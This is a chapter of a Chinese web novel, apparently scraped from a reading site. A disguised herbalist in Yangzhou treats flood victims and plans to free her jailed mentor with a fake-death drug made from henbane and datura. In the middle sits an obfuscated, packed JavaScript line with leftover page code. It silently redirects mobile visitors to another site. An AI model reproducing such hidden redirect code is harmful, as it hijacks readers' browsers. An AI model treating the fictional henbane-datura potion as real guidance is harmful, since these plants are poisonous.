我家主人,在里面等您
今年扬州入梅早,六月就入了。
晾晒在院子里的衣服总也不干,苏蓁蓁索性买了一个月的衣裤。
连日阴雨,苏蓁蓁的药铺在低洼处,她蹲在地上往外舀水。
药铺的檐角垂成密不透风的雨帘,敲在青石板上。
苏蓁蓁将药铺里的积水解决之后,才意识到自己的后背被雨水打湿了。
她让新收的小徒弟看好铺子,自己进了院子换衣。
院子不大,三个厢房,还有一个外用的卫生间和厨房。
苏蓁蓁自己住在主屋,有一个独立的卫生间和浴室,外面的卫生间是给偶尔想方便的病人和小徒弟准备的。
苏蓁蓁坐在梳妆台前梳发,看着镜中的自己。
略黄的肌肤,粗糙的眉眼,干枯的长发,带着斑点的面颊,唯独一双眼睛澄澈见底。
苏蓁蓁打开梳妆台上的盒子,取了几颗晒干的栀子果走进厨房。
栀子果没有毒性,也没有副作用,苏蓁蓁每日用它煮出栀子汁后涂抹在肌肤上,就能使肌肤变黄。
虽然麻烦,但为了保命也没有办法。
听小圆说,这两年已经没有听到锦衣卫寻她的消息了。
看来是放弃了。
之前她留下了一具尸体,显然,陆和煦没有信。
不过都五年了,他也找不到她,应当是只能信了吧?
将煮好的栀子果汁倒出来封在坛子里,苏蓁蓁正准备给自己煮一杯奶茶的时候,小厨房门口传来敲门声。
小徒弟只有十五六岁,不会说话,只会比划。
“你也要喝?”
苏蓁蓁指了指还没做好的奶茶。
小徒弟摇头,指了指外面。
苏蓁蓁探头看出去。
店铺前后只隔着一扇小小的院子门,那扇门被打开之后,能看到药铺子里面挤满了人。
“今天生意这么好?”
苏蓁蓁放下杯子走出去,看到乌泱泱的人聚在她的药铺子里。
梅雨季连阴十日,水位暴涨,堤岸多为沙土夯筑,梅雨季雨水浸泡,土质酥软,城南那片的河堤被冲垮了一截。官府已经带着人去堵河堤了,也将受伤的居民就近往城中药铺子送。
苏蓁蓁的药铺子离得最近,来的伤员最多,大部分是在洪水之中活动,被重物砸伤、割伤、骨折的。
“我这里是内科!往前面去,找刘大夫!”苏蓁蓁刚刚
说完,那边就奔进来一个男人,怀里抱着一位妇人,“这里有人溺水!”
苏蓁蓁略看一眼,情况紧急。
“放地上。”
妇人被放在地上,苏蓁蓁挽起袖口,直接伸手清理溺水者口鼻淤泥,然后进行人工呼吸和胸腹按压。
“咳咳咳……”妇人呛出几口水,憋得厉害。
苏蓁蓁取出随身携带的银针,往她人中、涌泉、内关穴上扎去,妇人立刻缓了过来。
“小柿子,去煮碗姜汁。”苏蓁蓁松了一口气,站起来。
苏蓁蓁的小徒弟叫小柿子,捡回来的时候还昏迷着,那个时候还是会说话的,嘴里一直喊着“柿子,柿子……”。
苏蓁蓁就摘了一个柿子放在他床边。
放了一天,人也没醒,苏蓁蓁就自己吃了。
等他醒了,却又不会说话了,还失忆了。
这事闹的。
苏蓁蓁带着人去了官府登记,因为小柿子什么都不记得了,所以只能等看看有没有人报案了。
没有地方去,苏蓁蓁只能暂时收留他。
一开始还不会干活,现在来这里半年了,干活倒是利索多了。
小柿子生得清秀,还会写字,学东西也快,就是挑食。
这让她无法控制的想到另外一位更加漂亮的少年来。
苏蓁蓁愣了一会神,那边小柿子已经将姜汁端了过来。
“给她灌进去。”
“再取几副五苓散来。”
五苓散能缓解人溺水后畏寒、咳嗽、水肿,水湿侵体的症状。
苏蓁蓁一边收拾自己的银针,一边将受了外伤的人病患往刘大夫那里赶。
没一会,她的铺子就清净多了。
苏蓁蓁终于有空去煮奶茶了。
她从茶罐子里取出一点绿茶,然后往里加入新鲜煮好的牛乳,再加一点蜂蜜。
一杯奶绿就做好了。
苏蓁蓁捧着奶绿坐到铺子里,刚刚坐下,那边就来人了。
“苏娘子,我来买药。”一个身穿捕快衣服的年轻男子走过来,他生得不算好看,模样只是周正。
“好,还是老样子吗?”
“是。”
苏蓁蓁给他取了药,“十文钱。”
赵阿海取出钱袋子,从里面拿出十文钱。
赵阿海拿了药,却没有走。
他的视线在苏蓁蓁的药铺里转了一圈,最后落到她脸上。
女人虽然肌肤偏黄,眉目粗鄙,生得无甚姿色,但
一双眼睛却极好看。
“苏娘子,你的丈夫还没回来?”
苏蓁蓁低着头,露出一截纤瘦脖颈,“他呀,还在军营里呢,听说是立了什么功,圣人赏赐了好些东西呢。”说着话,苏蓁蓁抬手正了正自己插在干枯发髻间的银簪。
“你看,听说这可是宫里头才有的东西呢。”
赵阿海虽然没有见过宫里头的东西,但他们姑苏城内有一个老太监。
那老太监是跟过先帝的,回了扬州府原籍之后,在郊外建了一座大宅子,弄得跟小王府似得,取名曲水园。
不仅娶了一个媳妇,还收了一个养子,日子过得有滋有味的。
老太监虽然没有了那东西,但色心不减,略齐头正脸些的都想染指,连苏蓁蓁这样的都不放过。
因为城中女大夫少,所以苏蓁蓁的生意还是很忙的,甚至时常会进府去替一些女子看病,不是富贵人家的小姐,就是有钱的夫人。
苏蓁蓁早听说过郊外那座被当地百姓戏称为小王府的老太监宅子。
那一日,她被从曲水园过来的丫鬟请了过去。
苏蓁蓁坐在人家特意派来的马车里,带着药箱去给老太监的老婆看病,正巧被他碰上了。
那是在内宅,生病
的夫人躺在病床上咳嗽。
苏蓁蓁坐在床边替她诊脉。
那老太监就坐在她对面,视线从她脸上略过,停留在她身上。
肆无忌惮到了无理的地步。
老太监端起手边的茶盏轻抿一口。
虽然一张脸生得一般,但这副身段倒是不错。
后来,老太监的老婆又病了几次,苏蓁蓁第三次去的时候,不小心将自己的簪子落下了。
那簪子上面刻着银作局的标志。
老太监是宫里的老人了,一看就知道这银簪是真东西。
然后,苏蓁蓁在取簪子的时候,又无意中透露她有一位马上就要当大将军的丈夫。
后来,他老婆的病就好了。
像苏蓁蓁这样无权无势的孤女在扬州城内开药铺,难免被人欺负,可她上面有人。
她有一个正在打仗的丈夫,听说得了许多军功,以后是要当大将军的!
这未来的大将军还给她送了很多宫里头才有的金银首饰,说是那位陛下赏赐。
当今陛下,自五年前清虚太玄会起义之后,铁血手腕更甚从前。
大面积清洗大家世族势力,听说金陵城的街道每
日都会被血染一遍。以韩硕为首的锦衣卫完全成了他的一柄刀,杀伐决断,皆由他心。
“苏娘子,你丈夫五年没回来了,你就不怕吗?”
赵阿海意有所指。
苏蓁蓁笑道:“我怕什么,我丈夫每年都给我寄那么多金银首饰回来,他心里一定是念着我的。上个月呀,他还给我写信了呢,我找找,哎呀,找到了,我念给你听……吾妻见字,一别五载,日夜思之……”
苏蓁蓁刚刚念了一个开头,赵阿海就走了。
苏蓁蓁拿着手里的药方继续又念了两句,等赵阿海走远了,才将药方放回去。
其实她从宫里带出来的首饰也只有那么一根银簪,还是她当宫女的时候拿到的。
魏恒仁善,给了宫女不少福利好处,放在先帝时期,这样的银簪子宫女是拿不到的。
因此,那老太监才会以为这银簪子真是什么陛下赏赐。
至于其它的簪子,找人做些假的,再弄些假记号,也不值几个钱。
更何况,她也不会日日戴出去,最多戴的还是这根银簪。
时辰不早,苏蓁蓁让小柿子看好铺子,自己往前面刘大夫那里去。
刘大夫已经忙的脚不点地。
看到苏蓁蓁过来,气得胡子都飞起来了,“怎么才过来,快点帮忙!”
刘大夫这里挤满了受了外伤的百姓。
苏蓁蓁取出铺子里的金疮药、止血散处理他们的流血伤口,对骨折患者使用杉木夹板固定,还有伤口感染红肿者,敷蒲公英、马齿苋捣烂的鲜药消炎,避免破伤风。
等全部处理完,天色已经擦黑。
苏蓁蓁累得不行,刘大夫的老婆煮好了饭,留苏蓁蓁吃。
苏蓁蓁也不客气,坐下就吃了两碗,回去的路上给小柿子打包了一碗面。
小柿子很喜欢吃面,看起来可能是个北方人。
“还是什么都想不起来吗?”
少年摇头,继续吃面,把面里面的葱花挑出来。
苏蓁蓁伸了一个懒腰,忙碌一天,她感觉自己身上都臭了。
苏蓁蓁沐浴洗漱,好好睡了一个懒觉。
第二日起身的时候,小柿子已经坐在药铺里看书了。
“苏大夫,官府差人来寻你。”
外面传来喊声。
苏蓁蓁起身出去一看,看到几个捕快正带着几个大夫往外去,看到苏蓁蓁,抬手招呼她一起。
扬州知府蒋迅虽过于一板一眼
不知变通但也算清正廉洁。
面对此次突发事件他立刻安排了临时帐篷安置受灾民众然后召集了城中大夫帮忙。
此次受灾面具不算小算下来居然整整有百人受伤还有一些房屋被冲垮的是暂时回不去了。
苏蓁蓁跟着捕快来到临时处置点发现这里被处理的井井有条男女帐子分开还有捕快跟着巡逻保证安全并处理民事**。
苏蓁蓁在女帐这里帮忙。
替受伤的女子处理好伤口之后又将草药分给他们让他们自己煎煮服用。
“哎我听说那个苏大夫也来了。”
“哪个呀?”
“就是那个丈夫在外面打仗说要当大将军那个。哎呦说的那叫一个神气呀先别管是真的还是假的就算是真的那男人呀都是喜新厌旧的都当上大将军了哪里还记得糟糠妻这都整整五年了说不定外面早就有新人了……你说对吧?”大娘说完见坐在自己对面的几个大娘突然都偏开头不说话了。
她不明所以觉得自己的热情没有得到回应便转头朝身边的小娘子寻求赞同。
“是啊。”苏蓁蓁笑眯眯地点头然后给这位大娘加大了药量苦得大娘这把年纪了还哭爹喊娘。
收拾完这帮大娘苏蓁蓁终于下班了。
她背着药箱往外走看到前面不远处围了一群人。
苏蓁蓁垫脚凑上去看了看看到几个捕快正在往什么东西上盖白布。
新来的围观人群不停的询问站在前面的人前面的人也十分乐于分享八卦。
“冲垮的河堤里出现了一具骷髅。”
骷髅?
居然还发生命案了。
现场已有仵作到场捕快在赶人了。
围观群众被疏散苏蓁蓁吃完瓜也背着药箱回药铺去了。
小柿子还守着铺子苏蓁蓁夸奖了他几句回去洗漱睡觉了。
-
夏雨不歇听说河堤正在修缮还有那些倒塌的房屋也由官府出钱重建。
除了这些白日里还有人送来免费的大锅药。
苏蓁蓁尝了一口是由金银花、连翘、葛根、甘草等煮出来的夏日茶饮清热解毒、扶正祛邪
还有捕快过来分发免费的药包里面是菖蒲、艾叶、明矾让百姓加在饮用水里。
苏蓁蓁这个开药店的也得到了一副。
她拆开看了
一眼,品质都不错。
菖蒲艾叶可抑菌,明矾能沉淀泥沙,避免饮生水染疫。
苏蓁蓁正守着铺子,有大娘过来把脉。
她请人在帘子后面坐了,那大娘子一坐下就开始说前几日那桩八卦。
实际上,扬州城内很少发生这样的事情,因此,众人对前几日那具骷髅非常感兴趣,都在猜测到底是谁。
“听说那骷髅身上有一块玉佩,现在捕快正在查到底是谁家的。
玉佩这种东西,如果不是特别有代表性的话,一般很难查到。
“感觉哪里不舒服?
“总觉得身上热,晚上容易出汗,还睡不着……
“葵水断了吗?
“断了,半年前刚断。
苏蓁蓁在诊断书上写下:日间无故身热,入夜又盗汗湿枕,坐卧不宁。
大概是更年期了。
“我给你诊脉。
大娘伸出手。
“苏大夫,我这是什么病啊?
苏蓁蓁细细替她诊完脉之后才道:“年近七七,天癸将竭,每个女人都会经历这一遭,不是什么怪病。说完,苏蓁蓁询问道:“是要吃药还是针灸?
“吃药吧。
“嗯,给你开甘麦大枣合逍遥散,先喝上一个月试试。平日里还可与自己多吃点枸杞、红枣、桂圆、莲子、芝麻。少食辛辣之物,也不宜过劳动怒。
“哎,好,谢谢苏大夫。
看了几个病人,天色已晚,苏蓁蓁正准备关铺子,就看到又有捕快过来,在棚屋周边焚烧苍术、雄黄、艾叶。
这样做也是为了以烟熏驱秽避疫。
苏蓁蓁将铺门关了,准备休息。
夜深,她躺在床上,窗户上蒙着一层绿纱,还挂了一层芦帘子。夏风从外面吹进来,既不会被外面的人窥探到里面的隐私,也能吹到风。
酥山已经五岁了,每天的睡眠时间变长,最喜欢做的一件事就是窝在院子里那个最阴凉的角落里睡觉。
之前苏蓁蓁还勤勤恳恳的给它做猫饭,现在这件事也由小柿子接手了。
虽然当甩手掌柜还挺轻松的,但苏蓁蓁觉得酥山好像被他喂得越来越挑食了。
苏蓁蓁刚躺下,酥山就蹲在窗口喵喵叫。
她认命得爬起来,去给它开窗。
酥山跑进来,在她床尾趴下,陪她一起睡觉。
苏蓁蓁在窗户口给她留了一个缝隙。
按照习惯,酥山会
等她睡着之后自己去院子里面玩。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308956|198739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
苏蓁蓁抱着竹夫人睡觉。
夏日天热,她睡眠浅,因此,当窗户被人打开的时候,苏蓁蓁就醒了。
她睁开眼,看到小圆从窗户里跳进来。
“不好了。”
“哪里不好了?”苏蓁蓁看着自己被撕坏的绿纱,“你得赔我银子。”
“师傅被抓走了。”
-
按照小圆所说,扬州城河堤下被冲出来的那具尸体居然是了尘师傅那个失踪了二十年的丈夫。
那枚玉佩能证明他的身份。
按照扬州知府调查,骷髅是被人砍断了脖子杀死后,埋在当时正在建造的河堤里。
当年,了尘师傅的丈夫“失踪”之后,她伤心过度,剃度出家,一别二十载,她**的丈夫又回来了。
都失踪二十年了,现在跑出来干嘛?
“我去偷看了卷宗,师傅确实**了,当时是这样的。”
按照小圆所说,师傅的丈夫素来脾气不好,当时吃醉了酒,拿着镰刀去砍她。
师傅身上被砍了好几刀,本以为这次躲不过去了的时候,男人手里的镰刀突然脱落,电光火石之间,她捡起镰刀将人砍**。
怕被人发现自己犯了事,了尘将尸体扔进了正在修建的河堤里,然后说自家丈夫出门做生意去了,后来又说自家丈夫跟着别的女人走了,自己心灰意冷,出家去了。
因为男人无父无母,官府又找不到尸体,所以了尘的谎言并未被戳破。
直到今日这具尸体的出现。
那尸体上面的玉佩是了尘跟她丈夫成亲的时候刻意请人刻的,上面不仅有她跟她丈夫的生辰八字,还有姓氏。因此,扬州知府很快就锁定了目标。
“师傅应该能脱身的呀?”苏蓁蓁不解。
小圆道:“听说这事出动了锦衣卫。”
苏蓁蓁心里一惊。
锦衣卫的手段……已经手眼通天到了这种地步吗?
小圆很是紧张,“我们现在该怎么办?”
《大周律》言,妻妾殴夫者,杖一百;致死者,斩立决;**亲夫者,凌迟处死。
大周律法的不完善,导致其没有“妻子对丈夫的正当防卫”概念,丈夫对妻子的打骂,甚至持刀施暴,被视为“夫教其妻”的家事。
妻子就算反击,也会因为“以下犯上”,所以先触律条,绝无免罚的可能。
“我想想……”苏蓁蓁开始思考
对策。
小圆盯着苏蓁蓁看了还不足三秒,“我等不了了。”她拍桌而起,吓得睡在床尾的酥山一下就醒了,尾巴**都炸开了,像一根冲天的白色鸡毛掸子。
“你去干什么?”苏蓁蓁拉住她。
“劫狱,我听说锦衣卫已经将师傅押到扬州来了。”
动作居然这么快,看起来像是要判刑了。
苏蓁蓁逼迫自己冷静,“这是下下策,想点正常的。”
“我去杀了那狗官。”
更不正常了。
“坐下。”
小圆坐下了,却坐不稳,像凳子上扎着刺,“那你说怎么办?”
律法如此,根本没有可能翻案。
苏蓁蓁思索了一会儿后道:“我可以做一份假死药,让师傅假死脱身。”时间紧急,说完,苏蓁蓁立刻起身开始实践。
她往隔着一层帘子的里屋去,那里放着她的药材。
酥山从床上跳下来,率先走到厕所。
“不是,不上厕所。”
小猫不知道什么毛病,每次都要陪她上厕所,就算睡得眼睛都睁不开了,还要强撑着跟进来。
苏蓁蓁找到所需材料,迅速制作。
莨菪子、茉莉根、曼陀罗花……为了效果更逼真,还要再加一点淡竹叶水调服。
莨菪子能致人意识丧失、瞳孔散大,搭配淡竹叶水后两者强化呼吸,脉搏抑制,假死状态更难被仵作识破。大周仵作仅靠望闻切诊,没有现**测手段,很难分辨真假。
等了尘师傅吃了这药,她便与小圆舍了银钱将人的“尸体”带回来,然后远远的离开扬州,去到蒙古。
-
了尘虽是死囚,但还没有下最终审判,上面也没有明令禁止说不能探视。
苏蓁蓁提着手里的篮子,出现在扬州女牢门口。
已近黄昏,天气却依旧闷热。
苏蓁蓁顺着墙根的阴影处往前走,看到前面停着一辆马车。
这是一辆看起来很普通的青绸马车。
停在扬州府监狱外,驾马的男人一身粗布麻衣,戴着斗笠,脸色黝黑,身形健硕,握着马车缰绳的手亦是骨结粗大。
看穿戴不像是扬州本地人,安静地低头坐在那里,像是一个练家子下人。
苏蓁蓁的视线很快从他身上略过,往马车里看了看。
马车安静停在那里,偶有夏风吹过,马车帘子微微晃动,却看不清里面的场景。
好黑。
看不
清。
似乎是坐了一个人。
苏蓁蓁只瞥了一眼,就将视线收了回来。
因为她发现那驾车的马车夫很敏锐。
确认这辆马车大抵没有威胁,应该是跟她一般过来探监的之后,苏蓁蓁继续往前去。
马车帘子轻微晃动,伸出一根苍白细长的手指,骨节分明,搭在帘子边缘,**一条缝,停顿一会之后,又慢条斯理的收回去。
“走。”马车内传出一道低沉暗哑的声音,如碎玉敲冰,金器相叩,冷得疏离,又带着一股与生俱来的上位者威压。
马车辘辘行驶离开。
女牢门口有狱卒看守,苏蓁蓁给了银子,才被放进去。
女牢在府狱最深处,一进小门,便能闻到一股霉湿浊气。因为墙高窗窄,铁栅密如蛛网,所以就算是白日里,里面也很暗。
狱内几间囚室并排,男狱卒不能进内,换了官媒婆带她进去。
苏蓁蓁跟着官媒婆往里去。
牢里静得可怕,只偶尔传来几声压抑的咳嗽,亦或是女子低低的啜泣,走在苏蓁蓁前面的官媒婆操着一口粗哑的嗓音呵斥之后,那些女子便再也不敢发出任何声音。
苏蓁蓁的视线从她们身上扫过。
女犯们多是蓬头垢面,衣衫破烂,有的缩在烂湿的稻草里发抖,有的靠墙坐着,眼神麻木空洞,像没了魂。
一直走到最深处,苏蓁蓁才看到了尘。
了尘作为重刑犯,戴着枷锁被单独关在一个地方。
苏蓁蓁看到她的时候,她正靠墙坐着。
从表面来看,没有受伤的地方,好像并没有受到私刑。
“师傅。”苏蓁蓁轻声开口。
了尘听到声音,视线转到苏蓁蓁脸上,她瞳孔微动,“你怎么来了?”那官媒婆跟在苏蓁蓁身边,正在翻看她带进来的东西。
苏蓁蓁解释道:“都是一些吃食。”
“牵涉命案,知府大人亲批收监,不许私传消息,不许私递物件。”
苏蓁蓁又给塞了银子。
“我师傅茹素,您行行方便。”
那官媒婆掂量了一下手里的银子,转过了身。
苏蓁蓁将篮子里的馒头用油纸包了递进去,“来看看您。”
“师傅,吃了好好睡一觉,什么事情都能过去,有我们呢。”
苏蓁蓁看着了尘说话。
了尘盯着她,伸手拿住馒头,缓慢点了点头。
苏蓁蓁笑了笑,拿着篮子